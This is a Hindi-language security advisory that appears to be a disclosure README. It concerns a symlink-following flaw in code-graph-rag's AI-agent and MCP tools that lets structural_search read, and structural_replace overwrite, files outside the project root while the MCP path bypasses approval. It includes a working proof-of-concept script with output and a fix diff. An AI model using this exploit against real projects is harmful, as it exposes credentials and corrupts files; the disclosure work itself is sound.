
PoC — code-graph-rag में प्रोजेक्ट रूट के बाहर मनमानी फ़ाइल पढ़ने/लिखने के लिए symlink फ़ॉलो करना (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1)।
CVE स्थिति: अनुरोध किया गया, असाइनमेंट लंबित। यह निष्कर्ष GHSA-85gg-2gfq-q95m के रूप में प्रकाशित किया गया है। CVE असाइनमेंट पर इस रिपॉज़िटरी का नाम बदलकर
CVE-YYYY-NNNNN-code-graph-rag-PoCकर दिया जाएगा और इस बैनर को CVE लिंक से बदल दिया जाएगा।
| शोधकर्ता | Dostxodjayev Abdullox (@squeeze440) |
| सलाह | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (उच्च) |
| कमज़ोरी | CWE-59, CWE-22 |
सारांश
एक रिमोट/लोकल हमलावर जो code-graph-rag द्वारा विश्लेषित सोर्स-कोड रिपॉज़िटरी में एक सिम्बॉलिक लिंक शामिल करवा सकता है, वह structural_search और structural_replace टूल्स (जो AstGrepService द्वारा समर्थित हैं, और MCP टूल्स तथा एजेंटिक AI टूल्स दोनों के रूप में उजागर हैं) को कॉन्फ़िगर किए गए प्रोजेक्ट रूट के बाहर मनमानी फ़ाइलों को पढ़ने और — dry_run=False के साथ structural_replace के माध्यम से — अधिलेखित (overwrite) करने का कारण बन सकता है, क्योंकि टूल का पाथ-कंटेनमेंट चेक (should_skip_path/_classify_file) अनरिज़ॉल्व्ड पाथ पर लेक्सिकल रूप से किया जाता है और कभी Path.is_symlink() की जाँच नहीं करता या .resolve() को कॉल नहीं करता, जो कि प्रोजेक्ट के अपने (सही) validate_project_path डेकोरेटर के विपरीत है जो अन्यत्र उपयोग किया जाता है।
उत्पाद
vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)
परीक्षित संस्करण
कमिट 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject संस्करण 0.0.550) — परीक्षण के समय वर्तमान main। पुष्टि की गई कि इस कमिट में पहले की सलाह (GHSA-vvr2-h2jp-838m: पेजिनेटेड read_file पाथ ट्रैवर्सल) का फिक्स और नया HTTP-MCP बियरर-ऑथ गेट (codebase_rag/mcp/server.py में _validate_http_exposure) पहले से मौजूद हैं, इसलिए यह उन फिक्सों के ऊपर एक अलग, अभी भी खुला मुद्दा है।
अनुमानित CVSS v3.1
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (उच्च)
गैर-स्पष्ट मेट्रिक्स:
structural_search/structural_replace चलाना होगा ताकि रीड/राइट सक्रिय हो।विवरण
AstGrepService (codebase_rag/tools/ast_grep_service.py) structural_search और structural_replace दोनों MCP/एजेंटिक टूल्स को समर्थित करता है। यह os.walk() के साथ उम्मीदवार फ़ाइलों की गणना करता है और प्रत्येक पाथ को केवल should_skip_path() के माध्यम से गेट करता है:
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — os.walk() के साथ self.project_root को वॉक करता है; os.walk द्वारा लौटाया गया प्रत्येक गैर-डायरेक्टरी डायरेक्ट एंट्री (जिसमें डिस्क पर कहीं भी इंगित करने वाला सिम्बॉलिक लिंक भी शामिल है) को इन-स्कोप फ़ाइल माना जाता है।codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — एकमात्र कंटेनमेंट चेक should_skip_path(...) है जिसके बाद abs_path.relative_to(self.project_root) (पंक्ति 82) है; abs_path कभी रिज़ॉल्व नहीं किया जाता, इसलिए यह चेक विशुद्ध रूप से लेक्सिकल/स्ट्रिंग-आधारित है।codebase_rag/utils/path_utils.py:80-109 (should_skip_path) और codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — rel_path = file_path.relative_to(repo_path) की गणना करता है बिना कभी .resolve() या Path.is_symlink() को कॉल किए। इस फ़ंक्शन में कुछ भी सिम्बॉलिक लिंक को वास्तविक फ़ाइल से अलग नहीं मानता।codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) path.read_text() को कॉल करता है, जिसे Python सिम्बॉलिक लिंक के माध्यम से उसके वास्तविक लक्ष्य तक फॉलो करता है, चाहे वह लक्ष्य कहीं भी हो।codebase_rag/tools/ast_grep_service.py:187-208 (replace), विशेष रूप से पंक्ति 208 — dry_run=False होने पर abs_path.write_text(new_source, ...), फिर से सिम्बॉलिक लिंक का अनुसरण करते हुए वास्तविक लक्ष्य फ़ाइल की सामग्री को अधिलेखित करता है।यह इस बात से असंगत है कि शेष कोडबेस इसी जोखिम वर्ग को कैसे संभालता है। फ़ाइल रीड/राइट/एडिट टूल्स (file_reader.py, file_writer.py, file_editor.py) सभी validate_project_path (codebase_rag/decorators.py:73-75) द्वारा सुरक्षित हैं:
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() कंटेनमेंट चेक चलने से पहले सिम्बॉलिक लिंक का अनुसरण करता है, इसलिए वे टूल्स रूट के बाहर के लक्ष्य को सही ढंग से अस्वीकार करते हैं। path_utils.py का अपना absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) इसी सिद्धांत को अपने डॉकस्ट्रिंग में स्पष्ट रूप से प्रलेखित करता है: "resolve() कॉल्स भार-वहन करने वाले हैं: कंटेनमेंट लेक्सिकल रूप से जाँचा जाता है, इसलिए एक अनरिज़ॉल्व्ड .. सेगमेंट या सिम्बॉलिक लिंक रूट से बाहर निकल जाएगा।" — लेकिन should_skip_path()/AstGrepService, जो structural_search/structural_replace द्वारा उपयोग किए जाते हैं, वह पैटर्न कभी लागू नहीं करते।
दोनों टूल्स की पहुँच/एक्सपोज़र:
structural_search (codebase_rag/tools/structural_search.py:24-46) में कोई requires_approval फ़्लैग बिल्कुल नहीं है — एक MCP क्लाइंट का मॉडल इसे बिना किसी मानवीय पुष्टि के स्वायत्त रूप से कॉल कर सकता है।structural_replace (codebase_rag/tools/structural_editor.py:52-57) को requires_approval=True के रूप में चिह्नित किया गया है, लेकिन वह फ़्लैग केवल pydantic-ai के अपने एजेंट लूप द्वारा लागू किया जाता है। MCP सर्वर पाथ इसे पूरी तरह से बायपास करता है: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) सीधे self._structural_editor_tool.function(...) को कॉल करता है, और MCP टूल codebase_rag/mcp/tools.py:369-388 (MCPToolName.STRUCTURAL_REPLACE के लिए ToolMetadata) पर बिना किसी अनुमोदन अवधारणा के रजिस्टर किया गया है — कोई भी MCP क्लाइंट जो टूल्स कॉल कर सकता है, वह एक ही शॉट में dry_run=False के साथ structural_replace को आमंत्रित कर सकता है।प्रूफ ऑफ कॉन्सेप्ट
इंस्टॉल किए गए पैकेज के विरुद्ध गतिशील रूप से पुष्टि की गई (mgclient/pymgclient को ठीक उसी तरह मॉक किया गया जैसे पहले की सलाह के PoC में, क्योंकि इस कोड पाथ के लिए Memgraph नेटिव क्लाइंट की आवश्यकता नहीं है)।
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
वास्तविक रन आउटपुट (/tmp/poc_venv, परीक्षित कमिट से pip install --no-deps -e . के माध्यम से इंस्टॉल किया गया पैकेज):
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
कोई स्क्रीनशॉट नहीं — यह एक शुद्ध लाइब्रेरी/CLI-स्तरीय निष्कर्ष है जिसमें कोई ब्राउज़र/GUI घटक नहीं है।
प्रभाव
कोई भी ऑपरेटर जो cgr (CLI, एजेंटिक ask_agent मोड, या MCP structural_search/structural_replace टूल्स) को ऐसी रिपॉज़िटरी पर इंगित करता है जिसका उसने पूरी तरह से ऑडिट नहीं किया — यही उपयोग मामला जिसके लिए यह टूल बनाया गया है ("बहु-भाषा कोडबेस को क्वेरी, समझें और संपादित करें") — उस रिपॉज़िटरी के रोपित सिम्बॉलिक लिंक का उपयोग निम्न के लिए हो सकता है:
cgr प्रक्रिया द्वारा पढ़ने योग्य किसी भी फ़ाइल की सामग्री को प्रकट करना (क्रेडेंशियल्स, SSH कुंजियाँ, .env फ़ाइलें, सहोदर प्रोजेक्ट सोर्स), structural_search के माध्यम से, बिना किसी अनुमोदन गेट के।cgr प्रक्रिया द्वारा लिखने योग्य किसी भी फ़ाइल की सामग्री को अधिलेखित करना, structural_replace(dry_run=False) के माध्यम से, MCP प्रोटोकॉल के माध्यम से कॉल किए जाने पर टूल के अपने अनुमोदन गेट को बायपास करते हुए।यह GHSA-vvr2-h2jp-838m के समान "विश्लेषित कोडबेस में दुर्भावनापूर्ण सामग्री project_root से बाहर निकल जाती है" बग वर्ग है, लेकिन एक अलग मूल कारण (AstGrepService/should_skip_path में अनुपस्थित सिम्बॉलिक लिंक रिज़ॉल्यूशन, CWE-59) और एक अलग, अधिक गंभीर सिंक (मनमाना राइट, केवल रीड नहीं) एक अलग घटक में (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, न कि codebase_rag/mcp/tools.py का पेजिनेटेड read_file)। यह पहले की सलाह की कमज़ोर पंक्ति श्रेणियों या फिक्स के साथ ओवरलैप नहीं करता।
कमज़ोरियाँ
उपचार
should_skip_path पर वही resolve-then-contain पैटर्न लागू करें जो पहले से validate_project_path (codebase_rag/decorators.py:73-75) और absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) द्वारा उपयोग किया जाता है। किसी भी पाथ को अस्वीकार करें जिसका रिज़ॉल्व्ड (सिम्बॉलिक लिंक-फॉलोड) स्थान रिज़ॉल्व्ड प्रोजेक्ट रूट से बाहर निकलता है, न कि केवल अनरिज़ॉल्व्ड पाथ स्ट्रिंग की जाँच करें:
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
विशेष रूप से: should_skip_path में यह एक परिवर्तन _classify_file (search) और _iter_source_files (replace) में os.walk फ़िल्टरिंग दोनों को ठीक करता है, क्योंकि दोनों इसके माध्यम से रूट होते हैं। रक्षा-में-गहराई के रूप में, _iter_source_files os.walk के दौरान सिम्बॉलिक-लिंक्ड डायरेक्ट एंट्रीज़ (entry.is_symlink()) को अतिरिक्त रूप से पूरी तरह से छोड़ सकता है, क्योंकि एक AI-संचालित कोड विश्लेषण टूल को पहली जगह में इंडेक्स किए गए रूट के बाहर ट्रैवर्स करने की कभी आवश्यकता नहीं होनी चाहिए।
श्रेय
Dostxodjayev Abdullox (GitHub: squeeze440)
रिपोर्टिंग चैनल
vitali87/code-graph-rag पर Private Vulnerability Reporting (PVR) सक्षम होने की पुष्टि की गई है; यह रिपोर्ट उस चैनल (GitHub Security Advisories) के माध्यम से सबमिट करने के लिए है, जो रेपो की मौजूदा प्रकाशित सलाह (GHSA-vvr2-h2jp-838m) के अनुरूप है।